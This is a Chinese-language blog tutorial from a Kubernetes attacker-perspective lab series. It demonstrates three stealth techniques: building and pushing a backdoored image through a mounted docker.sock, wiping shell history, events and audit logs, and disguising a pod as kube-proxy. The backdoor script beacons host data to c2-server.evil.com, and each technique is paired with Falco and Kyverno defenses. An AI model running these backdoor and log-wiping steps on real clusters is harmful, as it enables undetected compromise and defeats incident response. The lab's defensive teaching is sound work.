iT邦幫忙

2026 iThome 鐵人賽

DAY 14
0
Kubernetes

資安這條路:從攻擊者視角看 Kubernetes系列 第 14 篇

Day 14|隱匿三連:偽裝 Pod + 清除痕跡 + 在宿主機建映像

  • 分享至 

  • xImage
  •  

資安這條路:從攻擊者視角看 Kubernetes

ATT&CK TA0005 Stealth——攻擊者完成破壞後,如何藏匿自己的行動。

概覽

場景 ATT&CK 技術 攻擊手法
S20 T1612 Build Image on Host 逃逸後用 docker.sock 在宿主機上建構後門映像
S21 T1070 Indicator Removal 清除 bash_history、Pod log、K8s Events
S22 T1036 Masquerading 將惡意 Pod 命名為 kube-proxy-8x7k2

Stealth 是攻擊者在完成主要操作後的「善後工作」。不同於前面的戰術直接推進攻擊鏈,Stealth 的目的是讓攻擊者不被發現、不被追蹤——拉長駐留時間(dwell time)、降低被 IR 團隊溯源的機率。


前置準備

所有指令都在 koad 專案目錄下執行。如果還沒 clone,請先參考 Day 1 的 Step 0。

開始前請確認以下環境就緒。

1. 確認靶場 Pod 運行中

# 主機終端
kubectl get pods -n koad | grep -E "host-image-builder|indicator-remover|kube-proxy-8x7k2"

預期結果:

host-image-builder   1/1     Running   0          ...
indicator-remover    1/1     Running   0          ...
kube-proxy-8x7k2     1/1     Running   0          ...

如果 Pod 不在 Running 狀態,重新部署:

kubectl apply -f scenarios/stealth/S20-build-image-on-host.yaml
kubectl apply -f scenarios/stealth/S21-indicator-removal.yaml
kubectl apply -f scenarios/stealth/S22-masquerading.yaml

2. 開啟 Falco 即時監控

# 第二終端 — 左右並排觀察告警
kubectl logs -f -n falco -l app.kubernetes.io/name=falco | grep -i --color "koad\|docker\|history\|masquerad"

學習目標

完成本日實作後,你將能夠:

  • 示範攻擊者如何在宿主機上建構後門映像(供應鏈毒化)
  • 操作容器層級、K8s 層級、宿主機層級的痕跡清除
  • 理解 Pod 偽裝的手法與偵測方式
  • 觀察 Falco 如何偵測反鑑識行為
  • 建立「日誌不可變性」的防禦架構

S20:在宿主機上建構映像(T1612)

攻擊原理

當攻擊者透過 Day 10 的 docker.sock 逃逸取得宿主機 Docker daemon 的控制權後,下一步是建構帶有後門的映像並推入內部 Registry。合法 Pod 拉取被污染的映像後,後門就會隨之執行——而且完全繞過 CI/CD 流程中的映像掃描。

原理深入:供應鏈毒化機制

正常 CI/CD 流程:

這種攻擊之所以危險,是因為它利用了信任模型的斷裂——Pod 信任 Registry 中的映像,Registry 信任 CI/CD 推送的映像,但攻擊者從 Docker daemon 這個「側門」推入映像,跳過了整個信任鏈。

KOAD Pod 配置

apiVersion: v1
kind: Pod
metadata:
  name: host-image-builder
  namespace: koad
  labels:
    koad-scenario: S20
    mitre-attck: T1612
  annotations:
    attack-phase: "post-exploitation / supply-chain poisoning"
spec:
  containers:
    - name: builder
      image: docker:24-cli
      volumeMounts:
        - name: docker-sock
          mountPath: /var/run/docker.sock    # ← 掛載 Docker socket
      resources:
        limits:
          memory: "128Mi"
          cpu: "200m"
  volumes:
    - name: docker-sock
      hostPath:
        path: /var/run/docker.sock
        type: Socket

YAML 設計解析

這份 YAML 的核心弱點集中在 volumes 區塊:

  • hostPath: /var/run/docker.sock:掛載宿主機的 Docker socket,等於將整個 Docker daemon 的控制權交給容器。攻擊者可以 docker build、docker push,甚至 docker exec 進入其他容器。
  • image: docker:24-cli:官方 Docker CLI 映像,自帶完整的 docker 指令,不需要額外安裝工具。
  • 缺少 readOnly: true:docker.sock 以讀寫模式掛載,允許寫入操作(build、push、rm)。如果設為 readOnly,攻擊者只能 docker ps 做偵察,無法建構或推送映像。

設計理由

S20 模擬的是容器逃逸後的供應鏈擴散階段。在真實事件中,攻擊者不會只停留在單一容器——他們會利用 Docker daemon 建構帶後門的映像並推入內部 Registry,讓所有拉取該映像的 Pod 都變成攻擊跳板。2020 年 Graboid 蠕蟲就是透過暴露的 Docker daemon 自動散播惡意映像。這個場景讓學員理解:docker.sock 的掛載不只是「逃逸」問題,更是「擴散」問題。

攻擊步驟

步驟 1:進入 builder 容器

# 主機終端
kubectl exec -it -n koad host-image-builder -- sh

預期結果:

/ #

進入掛載了 docker.sock 的容器——可以直接操作宿主機 Docker daemon 來建構和推送映像。

進入 builder 容器

以下步驟 2–7 都在容器內(host-image-builder)執行。

步驟 2:確認可以存取宿主機 Docker daemon

# 容器內 (host-image-builder)
docker -H unix:///var/run/docker.sock ps

預期結果:

CONTAINER ID   IMAGE                  COMMAND
3a2f1b...      k8s_builder_host...    "sh"
9c4e8d...      k8s_nginx_ssrf...      "nginx -g..."

可以看到所有 Minikube 上的容器。

確認 Docker daemon 存取

步驟 3:列出宿主機上的映像(情報蒐集)

docker -H unix:///var/run/docker.sock images | head -10

預期結果:

REPOSITORY                      TAG       IMAGE ID       SIZE
registry.k8s.io/kube-apiserver  v1.30.0   abc123...      130MB
registry.k8s.io/kube-proxy      v1.30.0   def456...      85MB
nginx                           1.27      ghi789...      43MB

攻擊者知道叢集用了哪些映像和版本。

列出宿主機映像

步驟 4:建立帶後門的 Dockerfile

cat > /tmp/Dockerfile << 'DOCKERFILE'
FROM nginx:1.27-alpine
COPY backdoor.sh /docker-entrypoint.d/99-backdoor.sh
RUN chmod +x /docker-entrypoint.d/99-backdoor.sh
DOCKERFILE

預期結果:

(無輸出表示成功)

後門腳本放在 entrypoint.d 中,nginx 啟動時自動執行。

步驟 5:建立後門腳本

cat > /tmp/backdoor.sh << 'SCRIPT'
#!/bin/sh
while true; do
  curl -s -o /dev/null http://c2-server.evil.com/beacon \
    -d "host=$(hostname)&ns=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace 2>/dev/null)" \
    2>/dev/null
  sleep 300
done &
SCRIPT

預期結果:

(無輸出表示成功)

後門偽裝成 health check,在背景執行,不影響 nginx 正常運行。

建立後門 Dockerfile 和腳本

步驟 6:在宿主機 Docker daemon 上建構

docker -H unix:///var/run/docker.sock build \
    -t internal-registry:5000/nginx:1.27-alpine /tmp/

預期結果:

Sending build context to Docker daemon  3.072kB
Step 1/3 : FROM nginx:1.27-alpine
 ---> abc123def456
Step 2/3 : COPY backdoor.sh /docker-entrypoint.d/99-backdoor.sh
 ---> Running in temp123
Step 3/3 : RUN chmod +x /docker-entrypoint.d/99-backdoor.sh
 ---> Running in temp456
Successfully built infected789

Docker 在宿主機上建構了帶後門的映像,使用與合法映像相同的 tag——之後任何拉取此 tag 的 Pod 都會執行後門。

Falco 觀察:執行 docker build 後,Falco 監控視窗應出現:

[CRITICAL] KOAD S20 Docker Build in Container (pod=host-image-builder command=docker build ...)

在宿主機建構後門映像

步驟 7:推送到內部 Registry(覆蓋合法映像)

docker -H unix:///var/run/docker.sock push \
    internal-registry:5000/nginx:1.27-alpine

預期結果:

The push refers to repository [internal-registry:5000/nginx]
1.27-alpine: digest: sha256:abc123... size: 1234

之後任何 Pod 拉取 nginx:1.27-alpine 都會帶上後門。

推送後門映像到 Registry


### 為什麼繞過 Registry 掃描

| 階段 | 掃描工具 | 結果 |
|------|---------|------|
| CI/CD build | Trivy + Snyk 掃描 | 安全 ✓ |
| Push to Registry | Cosign 映像簽章驗證 | 安全 ✓ |
| Admission Control | Kyverno verifyImages | 安全 ✓ |
| **攻擊者直接 push** | **繞過所有流程** | **危險 ✗** |
| Pod pull | imagePullPolicy 決定 | 拉到被污染的映像 |

### 攻擊者視角:為什麼選擇供應鏈毒化

1. **隱蔽性高**:後門隨合法映像部署,不需要單獨的惡意 Pod
2. **持久性強**:映像在 Registry 中,即使刪除攻擊 Pod,後門映像仍在
3. **擴散性廣**:所有拉取該映像的 Pod 都會被感染
4. **難以追蹤**:後門混在合法服務中,日誌看起來是正常的 nginx 流量

### 防禦:映像完整性驗證

```bash
# 1. 使用 Cosign 簽章映像(CI/CD 中)
$ cosign sign --key cosign.key internal-registry:5000/nginx:1.27-alpine

# 2. Kyverno 強制驗證簽章
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: verify-image-signatures
spec:
  validationFailureAction: Enforce
  rules:
    - name: verify-cosign
      match:
        any:
          - resources:
              kinds: ["Pod"]
      verifyImages:
        - imageReferences: ["internal-registry:5000/*"]
          attestors:
            - entries:
                - keys:
                    publicKeys: |-
                      -----BEGIN PUBLIC KEY-----
                      MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAE...
                      -----END PUBLIC KEY-----
# 3. 使用 imagePullPolicy: Always + digest 引用
# spec.containers[].image: internal-registry:5000/nginx@sha256:abc123...
# 攻擊者無法改變 digest,即使覆蓋 tag 也無法影響已部署的 Pod

Falco 偵測

- rule: KOAD S20 Docker Build in Container
  desc: Detect docker build commands executed inside a container
  condition: >
    spawned_process and container and
    proc.name = docker and
    proc.cmdline contains "build"
  output: >
    Docker build executed in container — possible supply chain poisoning
    (user=%user.name container=%container.name pod=%k8s.pod.name
     ns=%k8s.ns.name command=%proc.cmdline image=%container.image.repository)
  priority: CRITICAL
  tags: [KOAD, T1612, stealth, supply-chain]

踩坑提醒: 在 Minikube(Docker driver)環境中,docker.sock 掛載的路徑可能因 Container Runtime 不同而異。如果使用 containerd,需要掛載 /run/containerd/containerd.sock 並使用 ctr 或 nerdctl 替代 docker。KOAD 選擇 Minikube + Docker driver 就是為了保持 docker.sock 場景的相容性。


S21:清除攻擊痕跡(T1070)

攻擊原理

攻擊者在完成操作後,會嘗試清除各種日誌和事件記錄來掩蓋行蹤。在 K8s 中,證據分佈在多個層級,攻擊者需要逐一清除:

證據分佈層級

容器層級 K8s 層級 宿主機層級
.bash_history Events /var/log/audit/audit.log
/var/log/*.log Pod logs (stdout) /var/log/syslog
/tmp/exploit kubectl history containerd/docker logs
core dumps Audit Log journal (systemd)
/proc 資訊 etcd changes node-level metrics

KOAD Pod 配置

apiVersion: v1
kind: Pod
metadata:
  name: indicator-remover
  namespace: koad
  labels:
    koad-scenario: S21
    mitre-attck: T1070
spec:
  serviceAccountName: overprivileged-sa    # ← 需要刪除 Events 的權限
  containers:
    - name: cleaner
      image: bitnami/kubectl:latest
      command: ["sh", "-c", "sleep infinity"]

YAML 設計解析

S21 的 YAML 看似簡單,但每個欄位都有攻擊意圖:

  • serviceAccountName: overprivileged-sa:使用過度授權的 SA,擁有刪除 Events 的權限。這是 K8s 層級痕跡清除的前提——沒有 delete events 權限,攻擊者只能清容器內的日誌。
  • image: bitnami/kubectl:latest:自帶 kubectl,可以直接操作 K8s API 刪除 Events、Pod 和其他資源。
  • 無 hostPath 掛載:S21 刻意不掛載宿主機目錄——容器內的清除行為有限,攻擊者必須先逃逸(S13-S18)才能清除宿主機層級的日誌。這展示了多層防禦的價值。

設計理由

S21 展示攻擊者在完成操作後「收尾」的典型行為。在真實 APT 攻擊中,痕跡清除是 Kill Chain 的最後一環——攻擊者會逐層清除容器日誌、K8s Events、宿主機 audit log。KOAD 將清除行為分為三個層級,讓學員理解:單靠容器內日誌做鑑識是不夠的,必須有外部化、不可變的日誌收集(如 Loki、Elasticsearch)才能對抗反鑑識手段。

攻擊步驟

容器層級清除

步驟 1:清除 shell history
# 容器內 (indicator-remover)
history -c
rm -f ~/.bash_history ~/.ash_history
unset HISTFILE
export HISTSIZE=0

預期結果:

(無輸出表示成功——history 已清空)

shell history 是取證時最先檢查的線索——清除後 IR 團隊無法從 .bash_history 回溯攻擊者執行過的指令。

Falco 觀察:清除 history 後,Falco 立即觸發告警:

[WARNING] KOAD S21 History File Deletion (pod=indicator-remover file=/root/.bash_history)

這正是「清除行為本身就是攻擊指標」的最佳示範。

清除 shell history

步驟 2:清除容器內日誌
find /var/log -name "*.log" -exec truncate -s 0 {} \; 2>/dev/null

預期結果:

(無輸出——日誌檔被清空但不刪除)

用 truncate 而非 rm 清空日誌——檔案仍存在但內容為空,比直接刪除更不容易被發現(刪除會在 inode 層留下痕跡)。

步驟 3:刪除攻擊工具和臨時檔案
rm -rf /tmp/exploit /tmp/Dockerfile /tmp/backdoor.sh
rm -f /tmp/nmap* /tmp/hydra*

預期結果:

(無輸出表示成功)

刪除攻擊工具和暫存檔案——如果 IR 團隊用 find / -newer 搜尋最近修改的檔案,這些證據就不會出現。

清除容器內攻擊痕跡

K8s 層級清除

步驟 4:刪除 K8s Events
# 容器內 (indicator-remover,有 kubectl 權限)
kubectl delete events --all -n koad

預期結果:

event "ssrf-webapp-xxx.123abc" deleted
event "privileged-pod.456def" deleted
event "host-image-builder.789ghi" deleted

Events 預設只保留 1 小時,但攻擊者不想等。

刪除 K8s Events

步驟 5:刪除已完成的攻擊 Pod
kubectl delete pod -n koad -l purpose=attack --grace-period=0 --force

預期結果:

warning: Immediate deletion does not wait for confirmation...
pod "attacker-pod" force deleted

--force 跳過 graceful shutdown,避免 preStop hooks 留下日誌。

刪除攻擊 Pod

步驟 6:刪除攻擊者建立的 ConfigMap / Secret
kubectl delete configmap attack-config -n koad 2>/dev/null
kubectl delete secret stolen-creds -n koad 2>/dev/null

預期結果:

configmap "attack-config" deleted
secret "stolen-creds" deleted

刪除攻擊者建立的 K8s 資源,避免 IR 團隊透過 kubectl get 發現異常物件。但 Audit Log 仍會記錄這些 delete 操作。

宿主機層級清除(需要先逃逸)

以下步驟 7–8 需要先透過容器逃逸取得宿主機存取權(參考 Day 8–11)。

步驟 7:清除 audit log
# 已逃逸到宿主機
: > /var/log/kubernetes/audit/audit.log
journalctl --rotate && journalctl --vacuum-time=1m

預期結果:

Vacuuming done, freed 12.0M of archived journals from /var/log/journal.

journalctl --vacuum-size 刪除舊日誌。但如果有集中式日誌(Fluentd/Loki),這些日誌已經被即時轉發到遠端——宿主機上刪除也沒用。

清除宿主機 audit log

步驟 8:清除 containerd 日誌
: > /var/log/containerd.log 2>/dev/null

預期結果:

(無輸出表示成功)

清除 containerd 日誌可以隱藏容器建立/刪除記錄。但 K8s API Server 的 Audit Log 仍會記錄 Pod 的 create/delete 事件——攻擊者很難完全消除所有痕跡。

清除 containerd 日誌

原理深入:為什麼某些清除是徒勞的

清除行為 是否有效 原因
刪除 .bash_history 部分有效 Falco 已即時偵測到檔案刪除操作
刪除 K8s Events 部分有效 Audit Log 記錄了 delete events 本身
清除 Pod logs 部分有效 集中式日誌(EFK/Loki)已轉發
清除 audit.log 部分有效 Webhook Backend 已即時轉發到 SIEM
刪除攻擊 Pod 有效 但 Pod spec 已被 Audit Log 記錄
刪除 containerd log 部分有效 需要 root 權限且 journald 可能有備份

關鍵洞察: 清除行為本身就是攻擊指標(IoC)。Falco 偵測 history 檔案刪除、K8s Audit Log 記錄 Events 刪除——攻擊者在試圖隱藏的同時,反而製造了更多告警。

防禦關鍵:日誌不可變性

                        ┌──────────────────────────────┐
                        │        外部 SIEM / S3         │
                        │   (攻擊者無法存取或修改)       │
                        │                              │
                        │   ✓ 完整的事件時間線           │
                        │   ✓ 不可變存儲               │
                        │   ✓ 異地備份                  │
                        └─────────▲──────────▲─────────┘
                                  │          │
            ┌─────────────────────┤          ├──────────────────┐
            │                     │          │                  │
   ┌────────┴────────┐   ┌───────┴──────┐  ┌┴────────────────┐
   │ Fluentd/Promtail│   │ Audit Webhook│  │ Falco Sidekick  │
   │ (Pod 日誌轉發)   │   │ (API 事件)   │  │ (Runtime 告警)  │
   └────────▲────────┘   └──────▲───────┘  └┬────────────────┘
            │                    │           │
     Pod stdout/stderr    API Server    Falco eBPF

日誌一旦轉發到外部系統,攻擊者即使取得 cluster-admin 甚至逃逸到宿主機,也無法清除已轉發的記錄。

Falco 偵測

- rule: KOAD S21 History File Deletion
  desc: Detect deletion or truncation of shell history files
  condition: >
    (open_write or evt.type in (unlink, unlinkat, rename, renameat)) and
    container and
    fd.name pmatch (
      /root/.bash_history,
      /root/.ash_history,
      /home/*/.bash_history
    )
  output: >
    Shell history file modified or deleted — possible anti-forensics
    (user=%user.name container=%container.name pod=%k8s.pod.name
     ns=%k8s.ns.name file=%fd.name command=%proc.cmdline evt=%evt.type)
  priority: WARNING
  tags: [KOAD, T1070, stealth, anti-forensics]

CKS 考試提醒: CKS 考試可能要求你設定 Audit Log 的外部轉發(Webhook Backend)或設定 Falco 偵測日誌清除行為。重點是理解「日誌不可變性」的概念——本地日誌可以被清除,但已轉發的日誌不行。


S22:偽裝系統元件(T1036)

攻擊原理

K8s 叢集中有大量系統 Pod(kube-proxy、coredns、calico-node 等),管理員已經習慣看到這些名稱。攻擊者將惡意 Pod 命名為系統元件的格式,混入正常工作負載中——這是社會工程在基礎設施層面的應用。

原理深入:K8s 的命名模式

DaemonSet Pod 命名格式:<name>-<random-5-chars>
  例如:kube-proxy-tmp2h, calico-node-9xk3m, falco-k7g2p

Deployment Pod 命名格式:<name>-<replicaset-hash>-<random-5-chars>
  例如:coredns-7db6d8ff4d-x2k9m

StatefulSet(為有狀態應用提供穩定網路識別與持久儲存的控制器)Pod 命名格式:<name>-<ordinal>
  例如:etcd-0, prometheus-server-0

攻擊者偽裝目標:模仿 DaemonSet 格式(最簡單、最不引人注目)

KOAD Pod 配置

apiVersion: v1
kind: Pod
metadata:
  name: kube-proxy-8x7k2           # ← 符合 DaemonSet 的 Pod 命名格式
  namespace: koad
  labels:
    k8s-app: kube-proxy             # ← 使用真實的系統 label
    component: kube-proxy
    tier: node
  annotations:
    description: "Fake kube-proxy — actually a reverse shell"
    kubernetes.io/config.source: "api"   # ← 模仿 kubelet 設定的 annotation
spec:
  containers:
    - name: kube-proxy              # ← 容器名也偽裝
      image: busybox:1.36           # ← 但映像完全不是 kube-proxy
      command: ["sh", "-c"]
      args:
        - |
          echo "KOAD S22: Masquerading as kube-proxy"
          # 模擬惡意行為(反向 shell)
          while true; do
            echo "[$(date)] fake kube-proxy beacon" >> /tmp/beacon.log
            sleep 60
          done

YAML 設計解析

S22 的 YAML 是一份「社會工程式」的配置,每個欄位都在模仿真實系統元件:

  • name: kube-proxy-8x7k2:符合 DaemonSet 的 Pod 命名格式(<name>-<random-5-chars>),管理員用 kubectl get pods 時很難一眼辨別。
  • labels: k8s-app: kube-proxy:使用真實 kube-proxy 的 label,會出現在 kubectl get pods -l k8s-app=kube-proxy 的查詢結果中。
  • image: busybox:1.36:映像和容器名完全不符——名字是 kube-proxy,實際跑的是 busybox。這是最明顯的破綻,也是偵測的關鍵切入點。
  • annotations: kubernetes.io/config.source: "api":模仿 kubelet 產生的 annotation,增加偽裝深度。

設計理由

S22 展示的是基礎設施層面的「社會工程」。在大型叢集中,管理員面對上百個 Pod,依賴命名和 label 來識別元件。攻擊者利用這個認知習慣,將後門 Pod 偽裝成系統元件來延長駐留時間。TeamTNT 組織在 2021 年的攻擊中就使用過類似的命名偽裝手法。KOAD 刻意讓映像名稱不匹配,教學員透過 image hash 和 ownerReferences 來識別偽裝 Pod。

偽裝策略分析:

維度 真實 kube-proxy 偽裝 Pod 差異
Pod 名稱 kube-proxy-tmp2h kube-proxy-8x7k2 格式相同
Label k8s-app: kube-proxy k8s-app: kube-proxy 完全相同
Container 名稱 kube-proxy kube-proxy 完全相同
映像 registry.k8s.io/kube-proxy:v1.30.0 busybox:1.36 不同
Namespace kube-system koad 不同
ownerReferences DaemonSet/kube-proxy 無 不同

偵測方式

方法 1:DaemonSet Pod 數量比對

# 預期的 kube-proxy Pod 數量(等於 Node 數量)
$ kubectl get ds -n kube-system kube-proxy \
    -o jsonpath='{.status.desiredNumberScheduled}'
1

# 實際帶有 kube-proxy label 的 Pod 數量
$ kubectl get pods -A -l k8s-app=kube-proxy --no-headers | wc -l
2    # ← 多出一個!

# 找出多餘的 Pod
$ kubectl get pods -A -l k8s-app=kube-proxy \
    -o custom-columns='NS:.metadata.namespace,NAME:.metadata.name,IMAGE:.spec.containers[0].image,OWNER:.metadata.ownerReferences[0].kind'
NS           NAME               IMAGE                                   OWNER
kube-system  kube-proxy-tmp2h   registry.k8s.io/kube-proxy:v1.30.0     DaemonSet
koad         kube-proxy-8x7k2   busybox:1.36                            <none>
# ← Namespace 不對、映像不對、沒有 ownerReferences

方法 2:映像 Hash 比對

$ kubectl get pods -A -l k8s-app=kube-proxy \
    -o jsonpath='{range .items[*]}{.metadata.namespace}/{.metadata.name} → {.spec.containers[0].image}{"\n"}{end}'
kube-system/kube-proxy-tmp2h → registry.k8s.io/kube-proxy:v1.30.0
koad/kube-proxy-8x7k2 → busybox:1.36    # ← 映像不對!

方法 3:ownerReferences 檢查

# DaemonSet 建立的 Pod 一定有 ownerReferences
$ kubectl get pod kube-proxy-8x7k2 -n koad \
    -o jsonpath='{.metadata.ownerReferences}'
# 空——不屬於任何 DaemonSet、Deployment 或 ReplicaSet

# 自動化檢查:找出所有沒有 owner 的 Pod
$ kubectl get pods -A -o json | \
    jq -r '.items[] | select(.metadata.ownerReferences == null) |
    "\(.metadata.namespace)/\(.metadata.name) ← 孤兒 Pod"'
koad/kube-proxy-8x7k2 ← 孤兒 Pod

方法 4:Kyverno 策略(預防性)

apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: block-system-name-masquerade
spec:
  validationFailureAction: Enforce
  rules:
    - name: block-kube-prefix
      match:
        any:
          - resources:
              kinds: ["Pod"]
      exclude:
        any:
          - resources:
              namespaces: ["kube-system", "kube-public", "kube-node-lease"]
      validate:
        message: "Pod 名稱不可使用 kube- 前綴(僅限 kube-system namespace)"
        pattern:
          metadata:
            name: "!kube-*"

真實案例:TeamTNT 的偽裝策略

2022 年 TeamTNT 攻擊組織在 Kubernetes 叢集中部署的挖礦容器就使用了類似的偽裝手法——將惡意 Pod 命名為 kube-controller、容器命名為 pause(K8s 內部使用的 sandbox 容器名稱)。安全團隊在例行巡檢中直接忽略了這些「看起來正常」的 Pod。

踩坑提醒: 在 KOAD 中,S22 原本要部署到 kube-system(模擬真實攻擊),但 K8s 1.25+ 的 PodSecurity Standards 會立即刪除不符合 Restricted 層級的 Pod。因此改為部署到 koad namespace,在文章中說明真實場景中攻擊者會嘗試部署到 kube-system。


ATT&CK 攻擊鏈視角

Stealth 戰術通常是在其他攻擊階段完成之後執行的——但它的效果影響整條攻擊鏈的存活時間:

TA0001 Initial Access
        ↓
TA0002 Execution → TA0003 Persistence → TA0004 Priv Escalation
                                                    ↓
                                      ┌─────── TA0005 Stealth ← 我們在這裡
                                      │             │   │   │
                                      │             │   │   └── S22 偽裝混入(增加駐留)
                                      │             │   └────── S21 清除痕跡(反鑑識)
                                      │             └────────── S20 建映像(供應鏈擴散)
                                      │
                                      └── 目的:延長 Dwell Time
                                          業界平均:277 天(2023 IBM X-Force)
                                          有 Stealth 的攻擊:>6 個月
                                          無 Stealth 的攻擊:<1 週

偵測總結

場景 Falco 規則 其他偵測 防禦
S20 KOAD S20 Docker Build in Container 映像簽章驗證(Cosign + Kyverno) docker.sock 禁止掛載
S21 KOAD S21 History File Deletion 集中式日誌 + Audit Log 外部轉發 日誌不可變性
S22 — DaemonSet Pod 數量比對 + 映像 hash 驗證 Kyverno 禁止 kube- 前綴

防禦者視角:建立反隱匿偵測體系

反隱匿偵測體系

預防層 偵測層 回應層
HostPath 禁止 Falco docker 自動隔離 + 告警
掛載 docker build 偵測
.sock
集中式日誌 Falco history SIEM 關聯分析:
即時轉發 檔案刪除偵測 短時間內多個清除行為
= 高信度攻擊指標
Kyverno 禁止 定期 Pod 完整 自動化比對 + 報告
kube- 前綴 性比對腳本

CKS 考點

考點 本日內容 權重 考試提示
映像安全 供應鏈毒化風險 + Cosign Supply Chain 20% 考試會考 Cosign 簽章驗證設定
Audit Log 日誌不可變性 + 外部轉發 Monitoring/Runtime 20% 考試會考 Webhook Backend 設定
映像簽章 Cosign 驗證防止映像篡改 Supply Chain 20% 重點:Kyverno verifyImages 策略
Falco 規則 偵測反鑑識行為 Monitoring/Runtime 20% 會考 Falco 規則的 condition 語法

清理與重設

完成攻擊演練後,清理環境:

# 主機終端 — 退出所有容器後執行
kubectl delete pod -n koad host-image-builder indicator-remover kube-proxy-8x7k2
kubectl apply -f scenarios/stealth/S20-build-image-on-host.yaml
kubectl apply -f scenarios/stealth/S21-indicator-removal.yaml
kubectl apply -f scenarios/stealth/S22-masquerading.yaml

S21 的痕跡清除是不可逆的——重建 Pod 才能恢復乾淨環境。


完成度自我檢查

  • [ ] 能解釋 Build Image on Host(S20)如何污染供應鏈
  • [ ] 成功在容器內清除 shell history 並觀察 Falco 告警
  • [ ] 理解 K8s Events 刪除與 Audit Log 清除的差異
  • [ ] 能辨識偽裝 Pod(kube-proxy-8x7k2)與真實系統 Pod 的差異
  • [ ] 知道 Masquerading 常用的命名模式(kube-proxy、coredns 等)
  • [ ] 理解不可變日誌(immutable logging)為何能對抗 Indicator Removal

真實環境 vs KOAD 靶場

面向 KOAD 靶場 真實生產環境
Audit Log Minikube 預設 Audit Policy 較寬鬆 生產環境有詳細 Audit Policy,大部分 API 呼叫都會被記錄
監控覆蓋 無 Falco/Tetragon(除非手動安裝) 通常有 Runtime Security 工具即時偵測
SIEM 整合 無 異常行為會觸發告警並通知 SOC

在 KOAD 中「隱匿」相對容易,因為預設沒有監控。真實環境中,隱匿是攻擊者最大的挑戰之一。


本日小結

你完成了什麼

  • [x] 在宿主機 Docker daemon 上建構後門映像(S20 供應鏈毒化)
  • [x] 清除容器內 shell history 和日誌(S21 容器層級)
  • [x] 刪除 K8s Events 和攻擊 Pod(S21 K8s 層級)
  • [x] 清除宿主機 audit log 和 containerd 日誌(S21 宿主機層級)
  • [x] 觀察偽裝 Pod(kube-proxy-8x7k2)如何混入正常工作負載(S22)
  • [x] 觀察 Falco 偵測到反鑑識行為(history 刪除、docker build)

關鍵帶走

  • Build Image on Host(S20):逃逸後在宿主機上建構後門映像,污染供應鏈——擴散攻擊面
  • Indicator Removal(S21):清除 history、日誌、Events,試圖抹除痕跡——延長駐留時間
  • Masquerading(S22):偽裝成系統元件(kube-proxy),混入正常 Pod——降低被發現機率
  • 防禦核心:不可變日誌 + 映像簽章 + Pod 完整性比對

下一步

明天 Day 15 進入 TA0112 Defense Impairment——攻擊者如何停用 Falco、竄改 Audit Policy、移除 Kyverno。當安全工具本身成為攻擊目標時,「誰來守護守護者?」



上一篇
Day 13|防禦逃逸(下):gVisor 沙箱 + 容器不變性
下一篇
Day 15|防禦破壞:停用 Falco + 竄改 Audit + 移除 Kyverno
系列文
資安這條路:從攻擊者視角看 Kubernetes 共 17 篇
圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言